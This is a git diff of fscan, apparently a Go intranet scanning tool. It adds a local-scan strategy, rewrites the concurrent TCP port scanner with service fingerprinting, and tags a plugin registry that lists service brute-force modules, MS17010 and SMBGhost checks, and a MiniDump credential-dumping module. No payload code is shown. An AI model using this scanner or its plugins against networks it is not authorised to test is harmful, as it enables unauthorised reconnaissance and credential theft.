"extra_ports": { "extra_ports": {
LangZH: "额外端口: %s", LangZH: "额外端口: %s",
LangEN: "Extra ports: %s", LangEN: "Extra ports: %s",
@ -977,42 +1004,6 @@ var i18nMap = map[string]map[string]string{
LangJA: "有効なポート数: %d", LangJA: "有効なポート数: %d",
LangRU: "Количество действительных портов: %d", LangRU: "Количество действительных портов: %d",
}, },
"parse_scan_mode": {
LangZH: "解析扫描模式: %s",
LangEN: "Parse scan mode: %s",
LangJA: "スキャンモードを解析: %s",
LangRU: "Разбор режима сканирования: %s",
},
"using_preset_mode": {
LangZH: "使用预设模式: %s",
LangEN: "Using preset mode: %s",
LangJA: "プリセットモードを使用: %s",
LangRU: "Использование предустановленного режима: %s",
},
"using_preset_mode_plugins": {
LangZH: "使用预设模式: %s, 包含插件: %v",
LangEN: "Using preset mode: %s, included plugins: %v",
LangJA: "プリセットモードを使用: %s, 含まれるプラグイン: %v",
LangRU: "Использование предустановленного режима: %s, включенные плагины: %v",
},
"using_single_plugin": {
LangZH: "使用单个插件: %s",
LangEN: "Using single plugin: %s",
LangJA: "単一のプラグインを使用: %s",
LangRU: "Использование одного плагина: %s",
},
"using_default_mode": {
LangZH: "未识别的模式,使用默认模式: %s",
LangEN: "Unrecognized mode, using default mode: %s",
LangJA: "認識できないモード、デフォルトモードを使用: %s",
LangRU: "Нераспознанный режим, использование режима по умолчанию: %s",
},
"included_plugins": {
LangZH: "包含插件: %v",
LangEN: "Included plugins: %v",
LangJA: "含まれるプラグイン: %v",
LangRU: "Включенные плагины: %v",
},
"tcp_conn_failed": { "tcp_conn_failed": {
LangZH: "建立TCP连接失败: %v", LangZH: "建立TCP连接失败: %v",
LangEN: "Failed to establish TCP connection: %v", LangEN: "Failed to establish TCP connection: %v",

View File

@ -80,7 +80,7 @@ func handleAliveHosts(chanHosts chan string, hostslist []string, isPing bool) {
// 保留原有的控制台输出 // 保留原有的控制台输出
if !Common.Silent { if !Common.Silent {
Common.LogSuccess(Common.GetText("target_alive", ip, protocol)) Common.LogInfo(Common.GetText("target_alive", ip, protocol))
} }
} }
livewg.Done() livewg.Done()
@ -97,7 +97,7 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
} }
Common.LogError(Common.GetText("icmp_listen_failed", err)) Common.LogError(Common.GetText("icmp_listen_failed", err))
Common.LogInfo(Common.GetText("trying_no_listen_icmp")) Common.LogBase(Common.GetText("trying_no_listen_icmp"))
// 尝试无监听ICMP探测 // 尝试无监听ICMP探测
conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) conn2, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second)
@ -107,9 +107,9 @@ func probeWithICMP(hostslist []string, chanHosts chan string) {
return return
} }
Common.LogError(Common.GetText("icmp_connect_failed", err)) Common.LogBase(Common.GetText("icmp_connect_failed", err))
Common.LogInfo(Common.GetText("insufficient_privileges")) Common.LogBase(Common.GetText("insufficient_privileges"))
Common.LogInfo(Common.GetText("switching_to_ping")) Common.LogBase(Common.GetText("switching_to_ping"))
// 降级使用ping探测 // 降级使用ping探测
RunPing(hostslist, chanHosts) RunPing(hostslist, chanHosts)
@ -121,7 +121,7 @@ func printAliveStats(hostslist []string) {
if len(hostslist) > 1000 { if len(hostslist) > 1000 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
Common.LogSuccess(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i])) Common.LogInfo(Common.GetText("subnet_16_alive", arrTop[i], arrLen[i]))
} }
} }
@ -129,7 +129,7 @@ func printAliveStats(hostslist []string) {
if len(hostslist) > 256 { if len(hostslist) > 256 {
arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false)
for i := 0; i < len(arrTop); i++ { for i := 0; i < len(arrTop); i++ {
Common.LogSuccess(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i])) Common.LogInfo(Common.GetText("subnet_24_alive", arrTop[i], arrLen[i]))
} }
} }
} }

112
Core/LocalScanner.go Normal file
View File

@ -0,0 +1,112 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
"sync"
)
// LocalScanStrategy 本地扫描策略
type LocalScanStrategy struct{}
// NewLocalScanStrategy 创建新的本地扫描策略
func NewLocalScanStrategy() *LocalScanStrategy {
return &LocalScanStrategy{}
}
// Name 返回策略名称
func (s *LocalScanStrategy) Name() string {
return "本地扫描"
}
// Description 返回策略描述
func (s *LocalScanStrategy) Description() string {
return "收集本地系统信息"
}
// Execute 执行本地扫描策略
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
Common.LogBase("执行本地信息收集")
// 验证插件配置
if err := validateScanPlugins(); err != nil {
Common.LogError(err.Error())
return
}
// 输出插件信息
s.LogPluginInfo()
// 准备目标(本地扫描通常只有一个目标,即本机)
targets := s.PrepareTargets(info)
// 执行扫描任务
ExecuteScanTasks(targets, s, ch, wg)
}
// PrepareTargets 准备本地扫描目标
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
// 本地扫描只使用传入的目标信息,不做额外处理
return []Common.HostInfo{info}
}
// GetPlugins 获取本地扫描插件列表
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
// 如果指定了特定插件且不是"all"
if Common.ScanMode != "" && Common.ScanMode != "all" {
requestedPlugins := parsePluginList(Common.ScanMode)
if len(requestedPlugins) == 0 {
requestedPlugins = []string{Common.ScanMode}
}
// 验证插件是否存在不做Local类型过滤
var validPlugins []string
for _, name := range requestedPlugins {
if _, exists := Common.PluginManager[name]; exists {
validPlugins = append(validPlugins, name)
}
}
return validPlugins, true
}
// 未指定或使用"all"获取所有插件由IsPluginApplicable做类型过滤
return GetAllPlugins(), false
}
// LogPluginInfo 输出本地扫描插件信息
func (s *LocalScanStrategy) LogPluginInfo() {
allPlugins, isCustomMode := s.GetPlugins()
// 如果是自定义模式,直接显示用户指定的插件
if isCustomMode {
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
return
}
// 在自动模式下只显示Local类型的插件
var applicablePlugins []string
for _, pluginName := range allPlugins {
plugin, exists := Common.PluginManager[pluginName]
if exists && plugin.HasType(Common.PluginTypeLocal) {
applicablePlugins = append(applicablePlugins, pluginName)
}
}
if len(applicablePlugins) > 0 {
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
} else {
Common.LogBase("本地模式: 未找到可用的本地插件")
}
}
// IsPluginApplicable 判断插件是否适用于本地扫描
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
// 自定义模式下运行所有明确指定的插件
if isCustomMode {
return true
}
// 非自定义模式下只运行Local类型插件
return plugin.HasType(Common.PluginTypeLocal)
}

58
Core/PluginUtils.go Normal file
View File

@ -0,0 +1,58 @@
package Core
import (
"fmt"
"github.com/shadow1ng/fscan/Common"
"strings"
)
// 插件列表解析和验证
func parsePluginList(pluginStr string) []string {
if pluginStr == "" {
return nil
}
// 按逗号分割并去除每个插件名称两端的空白
plugins := strings.Split(pluginStr, ",")
for i, p := range plugins {
plugins[i] = strings.TrimSpace(p)
}
// 过滤空字符串
var result []string
for _, p := range plugins {
if p != "" {
result = append(result, p)
}
}
return result
}
// 验证扫描插件的有效性
func validateScanPlugins() error {
// 如果未指定扫描模式或使用All模式则无需验证
if Common.ScanMode == "" || Common.ScanMode == "all" {
return nil
}
// 解析插件列表
plugins := parsePluginList(Common.ScanMode)
if len(plugins) == 0 {
plugins = []string{Common.ScanMode}
}
// 验证每个插件是否有效
var invalidPlugins []string
for _, plugin := range plugins {
if _, exists := Common.PluginManager[plugin]; !exists {
invalidPlugins = append(invalidPlugins, plugin)
}
}
if len(invalidPlugins) > 0 {
return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", "))
}
return nil
}

View File

@ -1,262 +1,151 @@
package Core package Core
import ( import (
"context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"golang.org/x/sync/errgroup"
"golang.org/x/sync/semaphore"
"net" "net"
"sort"
"strings" "strings"
"sync" "sync"
"sync/atomic"
"time" "time"
) )
// Addr 表示待扫描的地址 // EnhancedPortScan 高性能端口扫描函数
type Addr struct { func EnhancedPortScan(hosts []string, ports string, timeout int64) []string {
ip string // IP地址 // 解析端口和排除端口
port int // 端口号 portList := Common.ParsePort(ports)
} if len(portList) == 0 {
Common.LogError("无效端口: " + ports)
// ScanResult 扫描结果 return nil
type ScanResult struct {
Address string // IP地址
Port int // 端口号
Service *ServiceInfo // 服务信息
}
// PortScan 执行端口扫描
// hostslist: 待扫描的主机列表
// ports: 待扫描的端口范围
// timeout: 超时时间(秒)
// 返回活跃地址列表
func PortScan(hostslist []string, ports string, timeout int64) []string {
var results []ScanResult
var aliveAddrs []string
var mu sync.Mutex
// 解析并验证端口列表
probePorts := Common.ParsePort(ports)
if len(probePorts) == 0 {
Common.LogError(fmt.Sprintf("端口格式错误: %s", ports))
return aliveAddrs
} }
// 排除指定端口 exclude := make(map[int]struct{})
probePorts = excludeNoPorts(probePorts) for _, p := range Common.ParsePort(Common.ExcludePorts) {
exclude[p] = struct{}{}
}
// 初始化并发控制 // 初始化并发控制
workers := Common.ThreadNum ctx, cancel := context.WithCancel(context.Background())
addrs := make(chan Addr, 100) // 待扫描地址通道 defer cancel()
scanResults := make(chan ScanResult, 100) // 扫描结果通道 to := time.Duration(timeout) * time.Second
var wg sync.WaitGroup sem := semaphore.NewWeighted(int64(Common.ThreadNum))
var workerWg sync.WaitGroup var count int64
var aliveMap sync.Map
g, ctx := errgroup.WithContext(ctx)
// 启动扫描工作协程 // 并发扫描所有目标
for i := 0; i < workers; i++ { for _, host := range hosts {
workerWg.Add(1) for _, port := range portList {
go func() { if _, excluded := exclude[port]; excluded {
defer workerWg.Done() continue
for addr := range addrs {
PortConnect(addr, scanResults, timeout, &wg)
} }
}()
}
// 启动结果处理协程 host, port := host, port // 捕获循环变量
var resultWg sync.WaitGroup addr := fmt.Sprintf("%s:%d", host, port)
resultWg.Add(1)
go func() {
defer resultWg.Done()
for result := range scanResults {
mu.Lock()
results = append(results, result)
aliveAddr := fmt.Sprintf("%s:%d", result.Address, result.Port)
aliveAddrs = append(aliveAddrs, aliveAddr)
mu.Unlock()
}
}()
// 分发扫描任务 if err := sem.Acquire(ctx, 1); err != nil {
for _, port := range probePorts { break
for _, host := range hostslist { }
wg.Add(1)
addrs <- Addr{host, port} g.Go(func() error {
defer sem.Release(1)
// 连接测试
conn, err := net.DialTimeout("tcp", addr, to)
if err != nil {
return nil
}
defer conn.Close()
// 记录开放端口
atomic.AddInt64(&count, 1)
aliveMap.Store(addr, struct{}{})
Common.LogInfo("端口开放 " + addr)
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.PORT, Target: host,
Status: "open", Details: map[string]interface{}{"port": port},
})
// 服务识别
if Common.EnableFingerprint {
if info, err := NewPortInfoScanner(host, port, conn, to).Identify(); err == nil {
// 构建结果详情
details := map[string]interface{}{"port": port, "service": info.Name}
if info.Version != "" {
details["version"] = info.Version
}
// 处理额外信息
for k, v := range info.Extras {
if v == "" {
continue
}
switch k {
case "vendor_product":
details["product"] = v
case "os", "info":
details[k] = v
}
}
if len(info.Banner) > 0 {
details["banner"] = strings.TrimSpace(info.Banner)
}
// 保存服务结果
Common.SaveResult(&Common.ScanResult{
Time: time.Now(), Type: Common.SERVICE, Target: host,
Status: "identified", Details: details,
})
// 记录服务信息
var sb strings.Builder
sb.WriteString("服务识别 " + addr + " => ")
if info.Name != "unknown" {
sb.WriteString("[" + info.Name + "]")
}
if info.Version != "" {
sb.WriteString(" 版本:" + info.Version)
}
for k, v := range info.Extras {
if v == "" {
continue
}
switch k {
case "vendor_product":
sb.WriteString(" 产品:" + v)
case "os":
sb.WriteString(" 系统:" + v)
case "info":
sb.WriteString(" 信息:" + v)
}
}
if len(info.Banner) > 0 && len(info.Banner) < 100 {
sb.WriteString(" Banner:[" + strings.TrimSpace(info.Banner) + "]")
}
Common.LogInfo(sb.String())
}
}
return nil
})
} }
} }
// 等待所有任务完成 _ = g.Wait()
close(addrs)
workerWg.Wait()
wg.Wait()
close(scanResults)
resultWg.Wait()
// 收集结果
var aliveAddrs []string
aliveMap.Range(func(key, _ interface{}) bool {
aliveAddrs = append(aliveAddrs, key.(string))
return true
})
Common.LogBase(fmt.Sprintf("扫描完成, 发现 %d 个开放端口", count))
return aliveAddrs return aliveAddrs
} }
// PortConnect 执行单个端口连接检测
// addr: 待检测的地址
// results: 结果通道
// timeout: 超时时间
// wg: 等待组
func PortConnect(addr Addr, results chan<- ScanResult, timeout int64, wg *sync.WaitGroup) {
defer wg.Done()
var isOpen bool
var err error
var conn net.Conn
// 尝试建立TCP连接
conn, err = Common.WrapperTcpWithTimeout("tcp4",
fmt.Sprintf("%s:%v", addr.ip, addr.port),
time.Duration(timeout)*time.Second)
if err == nil {
defer conn.Close()
isOpen = true
}
if err != nil || !isOpen {
return
}
// 记录开放端口
address := fmt.Sprintf("%s:%d", addr.ip, addr.port)
Common.LogSuccess(fmt.Sprintf("端口开放 %s", address))
// 保存端口扫描结果
portResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.PORT,
Target: addr.ip,
Status: "open",
Details: map[string]interface{}{
"port": addr.port,
},
}
Common.SaveResult(portResult)
// 构造扫描结果
result := ScanResult{
Address: addr.ip,
Port: addr.port,
}
// 执行服务识别
if !Common.SkipFingerprint && conn != nil {
scanner := NewPortInfoScanner(addr.ip, addr.port, conn, time.Duration(timeout)*time.Second)
if serviceInfo, err := scanner.Identify(); err == nil {
result.Service = serviceInfo
// 构造服务识别日志
var logMsg strings.Builder
logMsg.WriteString(fmt.Sprintf("服务识别 %s => ", address))
if serviceInfo.Name != "unknown" {
logMsg.WriteString(fmt.Sprintf("[%s]", serviceInfo.Name))
}
if serviceInfo.Version != "" {
logMsg.WriteString(fmt.Sprintf(" 版本:%s", serviceInfo.Version))
}
// 收集服务详细信息
details := map[string]interface{}{
"port": addr.port,
"service": serviceInfo.Name,
}
// 添加版本信息
if serviceInfo.Version != "" {
details["version"] = serviceInfo.Version
}
// 添加产品信息
if v, ok := serviceInfo.Extras["vendor_product"]; ok && v != "" {
details["product"] = v
logMsg.WriteString(fmt.Sprintf(" 产品:%s", v))
}
// 添加操作系统信息
if v, ok := serviceInfo.Extras["os"]; ok && v != "" {
details["os"] = v
logMsg.WriteString(fmt.Sprintf(" 系统:%s", v))
}
// 添加额外信息
if v, ok := serviceInfo.Extras["info"]; ok && v != "" {
details["info"] = v
logMsg.WriteString(fmt.Sprintf(" 信息:%s", v))
}
// 添加Banner信息
if len(serviceInfo.Banner) > 0 && len(serviceInfo.Banner) < 100 {
details["banner"] = strings.TrimSpace(serviceInfo.Banner)
logMsg.WriteString(fmt.Sprintf(" Banner:[%s]", strings.TrimSpace(serviceInfo.Banner)))
}
// 保存服务识别结果
serviceResult := &Common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Target: addr.ip,
Status: "identified",
Details: details,
}
Common.SaveResult(serviceResult)
Common.LogSuccess(logMsg.String())
}
}
results <- result
}
// NoPortScan 生成端口列表(不进行扫描)
// hostslist: 主机列表
// ports: 端口范围
// 返回地址列表
func NoPortScan(hostslist []string, ports string) []string {
var AliveAddress []string
// 解析并排除端口
probePorts := excludeNoPorts(Common.ParsePort(ports))
// 生成地址列表
for _, port := range probePorts {
for _, host := range hostslist {
address := fmt.Sprintf("%s:%d", host, port)
AliveAddress = append(AliveAddress, address)
}
}
return AliveAddress
}
// excludeNoPorts 排除指定的端口
// ports: 原始端口列表
// 返回过滤后的端口列表
func excludeNoPorts(ports []int) []int {
noPorts := Common.ParsePort(Common.ExcludePorts)
if len(noPorts) == 0 {
return ports
}
// 使用map过滤端口
temp := make(map[int]struct{})
for _, port := range ports {
temp[port] = struct{}{}
}
// 移除需要排除的端口
for _, port := range noPorts {
delete(temp, port)
}
// 转换为有序切片
var newPorts []int
for port := range temp {
newPorts = append(newPorts, port)
}
sort.Ints(newPorts)
return newPorts
}

View File

@ -3,6 +3,7 @@ package Core
import ( import (
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/Plugins" "github.com/shadow1ng/fscan/Plugins"
"sort"
) )
// init 初始化并注册所有扫描插件 // init 初始化并注册所有扫描插件
@ -14,18 +15,21 @@ func init() {
Name: "FTP", Name: "FTP",
Ports: []int{21}, Ports: []int{21},
ScanFunc: Plugins.FtpScan, ScanFunc: Plugins.FtpScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("ssh", Common.ScanPlugin{ Common.RegisterPlugin("ssh", Common.ScanPlugin{
Name: "SSH", Name: "SSH",
Ports: []int{22, 2222}, Ports: []int{22, 2222},
ScanFunc: Plugins.SshScan, ScanFunc: Plugins.SshScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("telnet", Common.ScanPlugin{ Common.RegisterPlugin("telnet", Common.ScanPlugin{
Name: "Telnet", Name: "Telnet",
Ports: []int{23}, Ports: []int{23},
ScanFunc: Plugins.TelnetScan, ScanFunc: Plugins.TelnetScan,
Types: []string{Common.PluginTypeService},
}) })
// Windows网络服务 // Windows网络服务
@ -33,18 +37,21 @@ func init() {
Name: "FindNet", Name: "FindNet",
Ports: []int{135}, Ports: []int{135},
ScanFunc: Plugins.Findnet, ScanFunc: Plugins.Findnet,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("netbios", Common.ScanPlugin{ Common.RegisterPlugin("netbios", Common.ScanPlugin{
Name: "NetBIOS", Name: "NetBIOS",
Ports: []int{139}, Ports: []int{139},
ScanFunc: Plugins.NetBIOS, ScanFunc: Plugins.NetBIOS,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("smb", Common.ScanPlugin{ Common.RegisterPlugin("smb", Common.ScanPlugin{
Name: "SMB", Name: "SMB",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.SmbScan, ScanFunc: Plugins.SmbScan,
Types: []string{Common.PluginTypeService},
}) })
// 数据库服务 // 数据库服务
@ -52,18 +59,21 @@ func init() {
Name: "MSSQL", Name: "MSSQL",
Ports: []int{1433, 1434}, Ports: []int{1433, 1434},
ScanFunc: Plugins.MssqlScan, ScanFunc: Plugins.MssqlScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("oracle", Common.ScanPlugin{ Common.RegisterPlugin("oracle", Common.ScanPlugin{
Name: "Oracle", Name: "Oracle",
Ports: []int{1521, 1522, 1526}, Ports: []int{1521, 1522, 1526},
ScanFunc: Plugins.OracleScan, ScanFunc: Plugins.OracleScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("mysql", Common.ScanPlugin{ Common.RegisterPlugin("mysql", Common.ScanPlugin{
Name: "MySQL", Name: "MySQL",
Ports: []int{3306, 3307, 13306, 33306}, Ports: []int{3306, 3307, 13306, 33306},
ScanFunc: Plugins.MysqlScan, ScanFunc: Plugins.MysqlScan,
Types: []string{Common.PluginTypeService},
}) })
// 中间件和消息队列服务 // 中间件和消息队列服务
@ -71,24 +81,28 @@ func init() {
Name: "Elasticsearch", Name: "Elasticsearch",
Ports: []int{9200, 9300}, Ports: []int{9200, 9300},
ScanFunc: Plugins.ElasticScan, ScanFunc: Plugins.ElasticScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{ Common.RegisterPlugin("rabbitmq", Common.ScanPlugin{
Name: "RabbitMQ", Name: "RabbitMQ",
Ports: []int{5672, 5671, 15672, 15671}, Ports: []int{5672, 5671, 15672, 15671},
ScanFunc: Plugins.RabbitMQScan, ScanFunc: Plugins.RabbitMQScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("kafka", Common.ScanPlugin{ Common.RegisterPlugin("kafka", Common.ScanPlugin{
Name: "Kafka", Name: "Kafka",
Ports: []int{9092, 9093}, Ports: []int{9092, 9093},
ScanFunc: Plugins.KafkaScan, ScanFunc: Plugins.KafkaScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("activemq", Common.ScanPlugin{ Common.RegisterPlugin("activemq", Common.ScanPlugin{
Name: "ActiveMQ", Name: "ActiveMQ",
Ports: []int{61613}, Ports: []int{61613},
ScanFunc: Plugins.ActiveMQScan, ScanFunc: Plugins.ActiveMQScan,
Types: []string{Common.PluginTypeService},
}) })
// 目录和认证服务 // 目录和认证服务
@ -96,6 +110,7 @@ func init() {
Name: "LDAP", Name: "LDAP",
Ports: []int{389, 636}, Ports: []int{389, 636},
ScanFunc: Plugins.LDAPScan, ScanFunc: Plugins.LDAPScan,
Types: []string{Common.PluginTypeService},
}) })
// 邮件服务 // 邮件服务
@ -103,18 +118,21 @@ func init() {
Name: "SMTP", Name: "SMTP",
Ports: []int{25, 465, 587}, Ports: []int{25, 465, 587},
ScanFunc: Plugins.SmtpScan, ScanFunc: Plugins.SmtpScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("imap", Common.ScanPlugin{ Common.RegisterPlugin("imap", Common.ScanPlugin{
Name: "IMAP", Name: "IMAP",
Ports: []int{143, 993}, Ports: []int{143, 993},
ScanFunc: Plugins.IMAPScan, ScanFunc: Plugins.IMAPScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("pop3", Common.ScanPlugin{ Common.RegisterPlugin("pop3", Common.ScanPlugin{
Name: "POP3", Name: "POP3",
Ports: []int{110, 995}, Ports: []int{110, 995},
ScanFunc: Plugins.POP3Scan, ScanFunc: Plugins.POP3Scan,
Types: []string{Common.PluginTypeService},
}) })
// 网络管理和监控服务 // 网络管理和监控服务
@ -122,12 +140,14 @@ func init() {
Name: "SNMP", Name: "SNMP",
Ports: []int{161, 162}, Ports: []int{161, 162},
ScanFunc: Plugins.SNMPScan, ScanFunc: Plugins.SNMPScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("modbus", Common.ScanPlugin{ Common.RegisterPlugin("modbus", Common.ScanPlugin{
Name: "Modbus", Name: "Modbus",
Ports: []int{502, 5020}, Ports: []int{502, 5020},
ScanFunc: Plugins.ModbusScan, ScanFunc: Plugins.ModbusScan,
Types: []string{Common.PluginTypeService},
}) })
// 数据同步和备份服务 // 数据同步和备份服务
@ -135,6 +155,7 @@ func init() {
Name: "Rsync", Name: "Rsync",
Ports: []int{873}, Ports: []int{873},
ScanFunc: Plugins.RsyncScan, ScanFunc: Plugins.RsyncScan,
Types: []string{Common.PluginTypeService},
}) })
// NoSQL数据库 // NoSQL数据库
@ -142,12 +163,14 @@ func init() {
Name: "Cassandra", Name: "Cassandra",
Ports: []int{9042}, Ports: []int{9042},
ScanFunc: Plugins.CassandraScan, ScanFunc: Plugins.CassandraScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("neo4j", Common.ScanPlugin{ Common.RegisterPlugin("neo4j", Common.ScanPlugin{
Name: "Neo4j", Name: "Neo4j",
Ports: []int{7687}, Ports: []int{7687},
ScanFunc: Plugins.Neo4jScan, ScanFunc: Plugins.Neo4jScan,
Types: []string{Common.PluginTypeService},
}) })
// 远程桌面和显示服务 // 远程桌面和显示服务
@ -155,18 +178,21 @@ func init() {
Name: "RDP", Name: "RDP",
Ports: []int{3389, 13389, 33389}, Ports: []int{3389, 13389, 33389},
ScanFunc: Plugins.RdpScan, ScanFunc: Plugins.RdpScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("postgres", Common.ScanPlugin{ Common.RegisterPlugin("postgres", Common.ScanPlugin{
Name: "PostgreSQL", Name: "PostgreSQL",
Ports: []int{5432, 5433}, Ports: []int{5432, 5433},
ScanFunc: Plugins.PostgresScan, ScanFunc: Plugins.PostgresScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("vnc", Common.ScanPlugin{ Common.RegisterPlugin("vnc", Common.ScanPlugin{
Name: "VNC", Name: "VNC",
Ports: []int{5900, 5901, 5902}, Ports: []int{5900, 5901, 5902},
ScanFunc: Plugins.VncScan, ScanFunc: Plugins.VncScan,
Types: []string{Common.PluginTypeService},
}) })
// 缓存和键值存储服务 // 缓存和键值存储服务
@ -174,24 +200,21 @@ func init() {
Name: "Redis", Name: "Redis",
Ports: []int{6379, 6380, 16379}, Ports: []int{6379, 6380, 16379},
ScanFunc: Plugins.RedisScan, ScanFunc: Plugins.RedisScan,
}) Types: []string{Common.PluginTypeService},
Common.RegisterPlugin("fcgi", Common.ScanPlugin{
Name: "FastCGI",
Ports: []int{9000},
ScanFunc: Plugins.FcgiScan,
}) })
Common.RegisterPlugin("memcached", Common.ScanPlugin{ Common.RegisterPlugin("memcached", Common.ScanPlugin{
Name: "Memcached", Name: "Memcached",
Ports: []int{11211}, Ports: []int{11211},
ScanFunc: Plugins.MemcachedScan, ScanFunc: Plugins.MemcachedScan,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("mongodb", Common.ScanPlugin{ Common.RegisterPlugin("mongodb", Common.ScanPlugin{
Name: "MongoDB", Name: "MongoDB",
Ports: []int{27017, 27018}, Ports: []int{27017, 27018},
ScanFunc: Plugins.MongodbScan, ScanFunc: Plugins.MongodbScan,
Types: []string{Common.PluginTypeService},
}) })
// 2. 特殊漏洞扫描插件 // 2. 特殊漏洞扫描插件
@ -199,12 +222,14 @@ func init() {
Name: "MS17010", Name: "MS17010",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.MS17010, ScanFunc: Plugins.MS17010,
Types: []string{Common.PluginTypeService},
}) })
Common.RegisterPlugin("smbghost", Common.ScanPlugin{ Common.RegisterPlugin("smbghost", Common.ScanPlugin{
Name: "SMBGhost", Name: "SMBGhost",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.SmbGhost, ScanFunc: Plugins.SmbGhost,
Types: []string{Common.PluginTypeService},
}) })
// 3. Web应用扫描插件 // 3. Web应用扫描插件
@ -212,12 +237,14 @@ func init() {
Name: "WebTitle", Name: "WebTitle",
Ports: Common.ParsePortsFromString(Common.WebPorts), Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebTitle, ScanFunc: Plugins.WebTitle,
Types: []string{Common.PluginTypeWeb},
}) })
Common.RegisterPlugin("webpoc", Common.ScanPlugin{ Common.RegisterPlugin("webpoc", Common.ScanPlugin{
Name: "WebPoc", Name: "WebPoc",
Ports: Common.ParsePortsFromString(Common.WebPorts), Ports: Common.ParsePortsFromString(Common.WebPorts),
ScanFunc: Plugins.WebPoc, ScanFunc: Plugins.WebPoc,
Types: []string{Common.PluginTypeWeb},
}) })
// 4. Windows系统专用插件 // 4. Windows系统专用插件
@ -225,12 +252,7 @@ func init() {
Name: "SMBScan2", Name: "SMBScan2",
Ports: []int{445}, Ports: []int{445},
ScanFunc: Plugins.SmbScan2, ScanFunc: Plugins.SmbScan2,
}) Types: []string{Common.PluginTypeService},
Common.RegisterPlugin("wmiexec", Common.ScanPlugin{
Name: "WMIExec",
Ports: []int{135},
ScanFunc: Plugins.WmiExec,
}) })
// 5. 本地信息收集插件 // 5. 本地信息收集插件
@ -238,17 +260,30 @@ func init() {
Name: "LocalInfo", Name: "LocalInfo",
Ports: []int{}, Ports: []int{},
ScanFunc: Plugins.LocalInfoScan, ScanFunc: Plugins.LocalInfoScan,
Types: []string{Common.PluginTypeLocal},
}) })
Common.RegisterPlugin("dcinfo", Common.ScanPlugin{ Common.RegisterPlugin("dcinfo", Common.ScanPlugin{
Name: "DCInfo", Name: "DCInfo",
Ports: []int{}, Ports: []int{},
ScanFunc: Plugins.DCInfoScan, ScanFunc: Plugins.DCInfoScan,
Types: []string{Common.PluginTypeLocal},
}) })
Common.RegisterPlugin("minidump", Common.ScanPlugin{ Common.RegisterPlugin("minidump", Common.ScanPlugin{
Name: "MiniDump", Name: "MiniDump",
Ports: []int{}, Ports: []int{},
ScanFunc: Plugins.MiniDump, ScanFunc: Plugins.MiniDump,
Types: []string{Common.PluginTypeLocal},
}) })
} }
// GetAllPlugins 返回所有已注册插件的名称列表
func GetAllPlugins() []string {
pluginNames := make([]string, 0, len(Common.PluginManager))
for name := range Common.PluginManager {
pluginNames = append(pluginNames, name)
}
sort.Strings(pluginNames)
return pluginNames
}

View File

@ -5,7 +5,6 @@ import (
"github.com/schollz/progressbar/v3" "github.com/schollz/progressbar/v3"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/WebScan/lib" "github.com/shadow1ng/fscan/WebScan/lib"
"sort"
"strconv" "strconv"
"strings" "strings"
"sync" "sync"
@ -13,455 +12,235 @@ import (
"time" "time"
) )
// 全局变量定义 // ScanTask 表示单个扫描任务
var (
LocalScan bool // 本地扫描模式标识
WebScan bool // Web扫描模式标识
)
// Scan 执行扫描主流程
// info: 主机信息结构体,包含扫描目标的基本信息
func Scan(info Common.HostInfo) {
Common.LogInfo("开始信息扫描")
// 初始化HTTP客户端配置
lib.Inithttp()
// 初始化并发控制
ch := make(chan struct{}, Common.ThreadNum)
wg := sync.WaitGroup{}
// 根据扫描模式执行不同的扫描策略
switch {
case Common.LocalMode:
// 本地信息收集模式
LocalScan = true
executeLocalScan(info, &ch, &wg)
case len(Common.URLs) > 0:
